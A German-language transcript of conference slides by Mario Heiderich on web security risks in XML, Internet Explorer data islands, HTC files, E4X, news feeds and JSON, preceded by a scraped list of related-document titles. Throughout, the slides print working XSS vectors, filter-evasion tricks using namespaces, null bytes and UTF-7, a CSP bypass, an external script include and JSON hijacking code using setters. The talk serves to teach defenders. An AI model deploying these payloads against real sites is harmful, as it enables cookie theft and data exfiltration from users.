XML, JSON. Und weitere Kuriositäten. Mario Heiderich



Ähnliche Dokumente
HTML5. Wie funktioniert HTML5? Tags: Attribute:

Web 2.0 (In) Security PHPUG Würzburg Björn Schotte

AJAX DRUPAL 7 AJAX FRAMEWORK. Was ist das Ajax Framework? Ein typischer Ablauf eines Ajax Requests Die Bestandteile des Ajax Frameworks.

mysql - Clients MySQL - Abfragen eine serverbasierenden Datenbank

Markup Injections. Volksmund: XSS. Mario Heiderich

Einfügen von Bildern innerhalb eines Beitrages

Internet Explorer Version 6

Selbst ist die Frau / der Mann: eine eigene Homepage erstellen!

Protect 7 Anti-Malware Service. Dokumentation

Snippets - das Erstellen von "Code- Fragmenten" - 1

Meine erste Homepage - Beispiele

Einrichtung des Cisco VPN Clients (IPSEC) in Windows7

Internet online Update (Mozilla Firefox)

Klausurteilnehmer. Wichtige Hinweise. Note: Klausur Informatik Programmierung, Seite 1 von 8 HS OWL, FB 7, Malte Wattenberg.

Seite 1 von 14. Cookie-Einstellungen verschiedener Browser

Interaktive Medien Richtlinien für das Codieren Version vom 18. Juni 2014

Daten in EPUB visualisieren und dynamisch aktualisieren

GEONET Anleitung für Web-Autoren

Wordpress: Blogbeiträge richtig löschen, archivieren und weiterleiten

Design anpassen eine kurze Einführung

CSS-Grundlagen. Etwas über Browser. Kapitel. Die Vorbereitung

Java Script für die Nutzung unseres Online-Bestellsystems

.procmailrc HOWTO. zur Mailfilterung und Verteilung. Stand:

Drucken von Webseiten Eine Anleitung, Version 1.0

Software- Handbuch

When your browser turns against you Stealing local files

Die aktuelle Version des SPIEGEL-Bestseller-Widgets können Sie auf unserer Website unter Entwicklertools herunterladen.

Password Depot für ios

CASCADING STYLE SHEETS WEBSEITEN-GESTALTUNG MIT CSS

L10N-Manager 3. Netzwerktreffen der Hochschulübersetzer/i nnen Mannheim 10. Mai 2016

WEBSEITEN ENTWICKELN MIT ASP.NET

Workflow, Business Process Management, 4.Teil

Objektorientierte Programmierung für Anfänger am Beispiel PHP

2. XML 2.1 XML 1.0 und XML Schema. Jörg Schwenk Lehrstuhl für Netz- und Datensicherheit

! " # $ " % & Nicki Wruck worldwidewruck

DataTables LDAP Service usage Guide

Internet online Update (Internet Explorer)

Tipp: Proxy Ausschalten ohne Software Tools

BFV Widgets Kurzdokumentation

«Integration in WebSite» HTML-/Javascript-Code-Beispiele

Vitaminkapseln.ch - SEO Check

JavaScript in Drupal

Das Einsteigerseminar

Facebook I-Frame Tabs mit Papoo Plugin erstellen und verwalten

Webalizer HOWTO. Stand:

plus Flickerfeld bewegt sich nicht

Anleitung über den Umgang mit Schildern

Arbeiten mit UMLed und Delphi

AJAX Implementierung mit Joomla!

Universal Dashboard auf ewon Alarmübersicht auf ewon eigener HTML Seite.

Alte Technik neu verpackt

XSL Templates. Mit Templates arbeiten. XSL Templates

JASSI Standard Tasks Version 1.5

Webseitenintegration. Dokumentation. v1.0

Webentwicklung mit Mozilla Composer I.

Bernhard #wpcb13

Anleitung zur Konfiguration Ihres Browsers

EAP. Employee Administration Platform

FAQ-Inhaltsverzeichnis

Es gibt zahlreiche Web-Programmiersprachen: HTML, CSS, JavaScript, PHP, Perl, Python, HTTP, XML und viele weitere.

Computeria Solothurn

Favoriten sichern. Sichern der eigenen Favoriten aus dem Webbrowser. zur Verfügung gestellt durch: ZID Dezentrale Systeme.

... MathML XHTML RDF

Professionelle Seminare im Bereich MS-Office

NEUES LAYOUT FÜR DIE ONLINE-ERHEBUNG DES STATISTISCHEN BUNDESAMTES

Secure Coding & Live Hacking von Webapplikationen. Conect Informunity

Inhaltsverzeichnis SEITE 1. Der User Guide in drei Schritten 2. Erste Schritte 2. Wieviel habe ich gearbeitet verdient? 5

robotron*e count robotron*e sales robotron*e collect Anmeldung Webkomponente Anwenderdokumentation Version: 2.0 Stand:

Designänderungen mit CSS und jquery

TYPO3 CMS 6.2 LTS. Die neue TYPO3- Version mit Langzeit- Support

Schiller-Gymnasium Hof

Klaus Schild, XML Clearinghouse Namensräume

<script type="text/javascript"> <! <%= page(page.searchsuggestionsscript) %> // > </script>

XQueue Product Sheet - Seiten Editor

Anleitung zum Prüfen von WebDAV

Robert R. Agular Thomas Kobert. 5. Auflage HTML. Inklusive CD-ROM

Wie Sie sich einen eigenen Blog einrichten können

Klicken Sie auf den Reiter Newsfeed (1) in der oberen Menüleiste und wählen Sie dann links in der schmalen grauen Leiste Neuer Newsfeed (2) aus:

Anwendungsbeispiele Sign Live! Secure Mail Gateway

schooltas offline Modus mit der Google Chrome App

Barrierefreie Webseiten erstellen mit TYPO3

Inhalt. 1 Einleitung AUTOMATISCHE DATENSICHERUNG AUF EINEN CLOUDSPEICHER

Outlook Web App 2010 Kurzanleitung

AdOps Technische Spezifikationen

Kommunikations-Parameter

php Hier soll ein Überblick über das Erstellen von php Programmen gegeben werden. Inhaltsverzeichnis 1.Überblick Parameterübergabe...

Arbeitshilfen zur Auftragsdatenverarbeitung

Der lokale und verteilte Fall

JavaScript. Ein Crashkurs. Mario Heiderich

Excel Funktionen durch eigene Funktionen erweitern.

News RSS-Export. mit tt_news und pmk_rssnewsexport. Alexander Mürb, Arthur Palmer TYPO3 User Group Stuttgart

Lineargleichungssysteme: Additions-/ Subtraktionsverfahren

Viele Bilder auf der FA-Homepage

Das sogenannte Beamen ist auch in EEP möglich ohne das Zusatzprogramm Beamer. Zwar etwas umständlicher aber es funktioniert

FTP Tutorial. Das File Transfer Protocol dient dem Webmaster dazu eigene Dateien wie z.b. die geschriebene Webseite auf den Webserver zu laden.

Leitfaden für die Veränderung von Texten auf der Metrik- Seite

Wie starte ich mit meinem Account?

Erste Hilfe. «/IE Cache & Cookies» Logout, alte Seiten erscheinen, Erfasstes verschwindet?

Leitfaden zur ersten Nutzung der R FOM Portable-Version für Windows (Version 1.0)

Transkript:

XML, JSON Und weitere Kuriositäten Mario Heiderich

Überblick XML und Webapplikationen XML im Internet Explorer Data Islands, HTC Probleme Namespaces, Event Handling XUL, Die E4X Katastrophe Feeds und Security JSON

XML und Webapplikationen Vorteile Valides Markup Bessere Lesbarkeit für Maschinen Inhalt und Darstellung separiert Nachteile Mehr Overhead Komplizierte Validierung (sehr kompliziert!) Neue Möglichkeiten neue Risiken Probleme beim Browser-Support

XML im Internet Explorer Data Islands und HTC Hausgemachtes Binding Alte Implementation auch im IE8 Exploits Probleme mit 'echtem' XML XSLT ja reines XML mit CSS - nein Auch im aktuellen IE8 noch problematisch

Data Islands im Detail Erstmals zu finden im Internet Explorer 5.5 Proprietär wird auch lediglich von der IE Engine unterstützt Data Islands führen neuen Tag ein XML Tag: <xml> Kommen wir zu einem Beispiel

Data Islands Das umgebende HTML <html> <body> <xml id="xss" src="island.xml"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> </body> </html> Die Insel <?xml version="1.0"?> <x> <payload> <![CDATA[<img src=x onerror=alert(top)>>]]> </payload> </x>

Vorteile und Nachteile Data Islands folgen der SOP Die Inseln müssen valides XML sein IE only - natürlich Dafür ist arbiträres Padding möglich Dateieindung muss XML sein oder xml.123... Unter Webentwicklern völlig unbekannt

Fast ebenso wie......htc HTML Components Überwiegend genutzt um interne IE Features zu interfacen opaque PNGs etc. Ebeso in XML gehalten Aber in einem wunderlichen Dialekt Ein kleines Beispiel:

HTC Beispiel Das umgebende HTML <html> <head> <style> body { behavior: url(x.zip.htc); } </style> </head> <body> <h1>click ME!</h1> </body> </html> Die HTC Datei <PUBLIC:COMPONENT> <PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" /> </PUBLIC:COMPONENT

Vor- und Nachteile Auch hier gilt die SOP Ebenso kann frei mit Padding gearbeitet werden Das bedeutet: Ein valides GIF und HTC daten im Header verstecken Payload kann fast nur im Hex Editor gelesen werden Text-Editoren zeigen folgendes an GIF89ad Ģ L* J J jj N (8HXhx ix

XSS Hauptproblem ist XSS Neue Vektoren Veraltete und unvorbereitete Filter Beispiele

Out-line Namespaces <html xmlns:ø="http://www.w3.org/1999/xhtml"> </html> <ø:script src="//0x.lv/" />

In-line Namespaces <img:img xmlns:img="http://www.w3.org/1999/xhtml" src="" onerror="alert(this)" />

XUL Artefakte <xul:image onerror="alert(document.cookie)" src="x" xmlns:xul="http://www...is.only.xul" /> http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul

Events from outer space Onload ohne tatsächliches Laden <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg" > <svg:g onload="alert(8)"/> </html>

Schlussfolgerung Zwischen HTML und XHMTL bis zu XML liegen jeweils Welten Bewährte Filter und Schutzmassnahmen können oft nicht mehr greifen Und mit HTML 5 und breiterer Unterstützung wird das Feld erweitert Mehr CSS3 Neue Tags und DOM Objekte Inline SVG etc..

Mehr HTML 5 Des weiteren kommen neue Event Handler Attribute in schließenden Tags bitte was!? Naked Doctypes Seemless IFRAMEs Kein zwingend erfolderliches <html><body> Gerüst Workers etc.

Was aber mit dem XML...... was uns auf Clients und Servern seit Jahren umgibt? Teils ein wahres Monstrum bezüglich Komplexität Feeds SVG, Soap, RPC, XXE, DTDs, XSLT etc etc. RSS, ATOM, OPML

Feeds Verwundbare Feed Reader Sage, Google Reader, Feedly Brief Verwundbare Feed Parser PEAR XML_RSS, SimplePie etc. Selten sauberes HTML by default Vergiftete Feeds einfach erstellt Blogspot.com, selber bauen, Rogue Employees..

Vergiftetes OPML Aggregate the aggregations Wird von vielen Plattformen verstanden Google Reader Netvibes etc.. Generiert wiederum erhöhten Aufwand der Validierung Metadaten URLs Struktur

Mögliche Konsequenzen Was kann im schlimmsten Fall mittels eines vergifteten Feeds passieren?

Einiges! Exploit mass distribution Angriffe auf die Feed-Generatoren Angriffe auf lokale Feedreader Splogger Ownage Local file access über Chrome Exploits

Kleine Unterbrechung Thema Nullbytes %00 ASCII Tabellen Index 0 Trotz erheblichen Alters immer noch ein Problem Gerade für Browser und Webapplikationen

Nullbytes und PHP Nullbytes und PHP keine guten Freunde Objekte und Lambdas nutzen Nullbytes im serialisierten Zustand Nullbytes und Include-Funkionen nicht selten Einfalltore Nullbytes und eregi() bringt Probleme Weitere Vektoren

Nullbytes in Opera und IE IE ignoriert Nullbytes Daher funktionieren Vektoren wie dieser: <\0im\0g src=x onerror=alert(1)// Opera zeigte wunderliches Verhalten mit Nullbytes in späten 9.6er Versionen Probleme mit Nullbytes und Caching Auch Chrome hatte an einigen Stellen Probleme mit Nullbytes

Zurück zum Thema XML Konkret ECMA 357 oder E4X Wer kennt's?

E4X Derzeit implementiert in Gecko Browsern Erste Versionen in Firefox 1.5 Chrome und Webkit werden nachziehen Branches existieren bereits

E4X = XML in JavaScript XML - ohne Nutzung von Strings Neues XML Objekt Beispielcode: var a = <b>foo</b>; Spezifiziert in ECMA 357 Praktisch für FF Extensions Fast keinerlei Nutzung auf Webseiten

Was funktioniert Charsets wie UTF7 nutzen XML Processing Instructions umgehen <?xml foo= bar?> Große Mengen XML, Namespaces, Padding, Kommentare default xml namespace = 'foo' XPath Traversal für XML Objekte a=<b><c>foo</c></b> a..c

Was nicht funktioniert Invalides Markup DOCTYPES

Ergo E4X kann situativ sehr gefährlich sein Wenn DOCTYPEs geparst werden könnten wären die Folgen katastrophal Warum? Weil! <script src= http://secret.com/ ></script>

Was kann passieren? Information leakage XSS Seiten ohne Lücken können angegriffen werden Komplett neue Angriffs-Technik Komplett neue Anforderungen für Filter Beispiel für einen Angriff

Beispiel UTF-7, RegExp und E4X +ADw-/html+AD4-.toXMLString().match(/.*/m ), alert(regexp.input) Nur eine von vielen Lösungen Variierende Vektoren je nach Injection Point

Das Leerzeichen Derzeit kommt man nicht um den Doctype herum Auch nicht um den naked Doctype Wie z.b. Von Google verwendet <!DOCTYPE HTML> Problem ist das Leezeichen zwischen DOCTYPE und HTML

Wie es doch gehen könnte Injection innerhalb der Processing Instruction Injection vor dem Doctype Warten auf... JavaScript 2.0 Möglicherweise Operator Overloading Parserfehler

Mehr E4X Mögliche CSP Circumvention Content Security Policy W3C, Mozilla z.b. Nur JavaScript von der selben Domain Kein inline JavaScript, keine Event-Handler Kein Eval <script src= good.js ></script> Möglich zu umgehen?

Wieder einmal # Das Script included sich selbst aus dem Cache <script src= # ></script>,alert(1) Klappt teils auch ohne E4X Support -->/*<html>...<script src= x ></script>*/alert(1)//

Zusammenfassung XML birgt Gefahren die Webentwicklern nicht immer bekannt sind HTML5 kann bei unsauberer Implementation für Probleme sorgen Viele Browser tragen noch alten Legacy Code mit sich Impact von Angriffen auf Feeds wird oft unterschätzt E4X kann zu einer CSRF Zeitbombe werden

Zum Thema JSON Das cross-layer Transferformat für Hipster Mitterweile sehr hohe Penetration Schlank, leicht zu verstehen, billig 1 'a string' ['an array'] {'I can haz':'object or hash or whatever..'}

JSON Nesting Schlank Angenehm zu lesen {'foo': ['bar', 'foobar', {'foo': true}]} { 'foo' : [ 'bar', 'foobar', {'foo' : true} ]};

JSON kann......leicht gebrochen werden - ] oder } oder Kombinationen daraus JSON kann leicht scharf gemacht.. Und ebenso leicht gehijackt werden Ideen wie?

Beispiele Aktives JSON [{'foo':[1,2,alert(1)]}] [{'foo':[1,2,(function(){alert(2)})()]}] [{'foo':[1,2,0]}],alert(3)//]}] Ausführung vor Zuweisung

JSON Hijacking Bösartige Seite enthält Script Tag mit src Attribut auf das Angriffsziel User ist eingeloggt Das Script vor oder nach der Einbindung kann Daten lesen AJAX Responses mit Anti-CSRF Tokens oder ähnlichem Sensible Daten

Get und set nutzen Veraltete aber unterstützte Getter und Setter für Objekt-Eigenschaften o = { a:7, get b() { alert(1) }, set c(x) { alert(x) } }; o.b

define Methoden Wie definegetter () Oder definesetter () Beispiele o. definegetter ("b", function() { return alert(1) }); o. definesetter ("c", function(x) { alert(x) });

Verschiedene Wege Zuweisung existiert Ziel: a=[1,2] Angriff: window. definesetter ('a',function( ){alert(arguments[0])}); Keine direkte Zuweisung Ziel: [{'foo':[1,2,3]}] Angriff: Object.prototype. definesetter ('foo', function(){alert(arguments[0])});

watch() und unwatch() JavaScript kennt rudimentäres AOP Seit JavaScript 1.5 stehen watch() und unwatch() zur Verfügung Möglichkeit Variablen zu überwachen Unabhängig von den Settern Object.watch('a', function(b,c,d){alert(b)}) IE kennt onpropertychange

Ein wenig Freak-Action *drumroll* Sich selbst hijackendes JSON :-) [{'a':object.prototype. definesett er (/foo/[-1],function() {alert(arguments[0])}),'foo': [1,2,3,'foo']}] Funktioniert auch mit UTF-7 um gefilterte Charaktere zu umgehen

Und noch ein Leckerli Code ausführen ohne Klammern Einerseits mit der Getter/Setter Syntax Andererseits auch mit JSON ''+{tostring:alert} {x:onunload=alert}

Zusammenfassung JSON ist ein durchaus praktisches Format Im Kontext Websecurity aber oft missverstanden Leicht zu brechen Und ebenso leicht zu hijacken und korrumpieren Verschiedene Features der Browser arbeiten gegeneinander

Fragen?

Vielen Dank!